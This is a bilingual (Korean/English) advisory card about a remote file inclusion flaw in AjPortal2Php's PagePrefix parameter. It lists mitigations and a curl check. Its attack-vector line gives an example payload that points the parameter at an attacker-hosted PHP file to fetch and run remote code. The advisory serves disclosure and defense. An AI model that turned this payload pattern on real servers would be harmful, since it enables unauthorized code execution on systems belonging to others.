🇰🇷 한글 설명
AjPortal2Php의 PagePrefix 매개변수를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 악의적인 PHP 코드를 실행할 수 있습니다. includes/ 디렉토리의 여러 PHP 파일들이 검증 없이 외부 URL의 파일을 포함시켜 임의 코드 실행을 허용합니다.
💡 쉬운 설명
웹사이트가 사용자가 제공한 파일 주소를 아무 검증 없이 포함시킬 때 발생하는 취약점입니다. 공격자가 악성 PHP 파일을 가리키는 URL을 보내면 서버에서 해당 코드가 실행됩니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in AjPortal2Php allow remote attackers to execute arbitrary PHP code via a URL in the PagePrefix parameter to (1) begin.inc.php, (2) connection.inc.php, (3) events.inc.php, (4) footer.inc.php, (5) header.inc.php, (6) menuleft.inc.php, or (7) pages.inc.php in includes/.
📍 영향받는 시스템
AjPortal2Php 모든 버전 (2007년 이전 버전, 현재 프로젝트는 지원 종료)
⚔️ 공격 벡터
PagePrefix 파라미터에 원격 PHP 파일 URL 주입 예: begin.inc.php?PagePrefix=http://attacker.com/malicious.php
🛡️ 대응 방법
AjPortal2Php 사용 중단, 최신 포탈 소프트웨어 사용, PHP allow_url_include=Off 설정, 입력값 화이트리스트 필터링
🔧 검증 코드
원격 URL 접근이나 include 경고가 나타나면 취약점 존재, 정상 응답이면 패치되었거나 필터링 적용됨
curl -s 'http://[target]/includes/begin.inc.php?PagePrefix=http://example.com/test' 2>&1 | grep -E '(Warning|include|http)' | head -1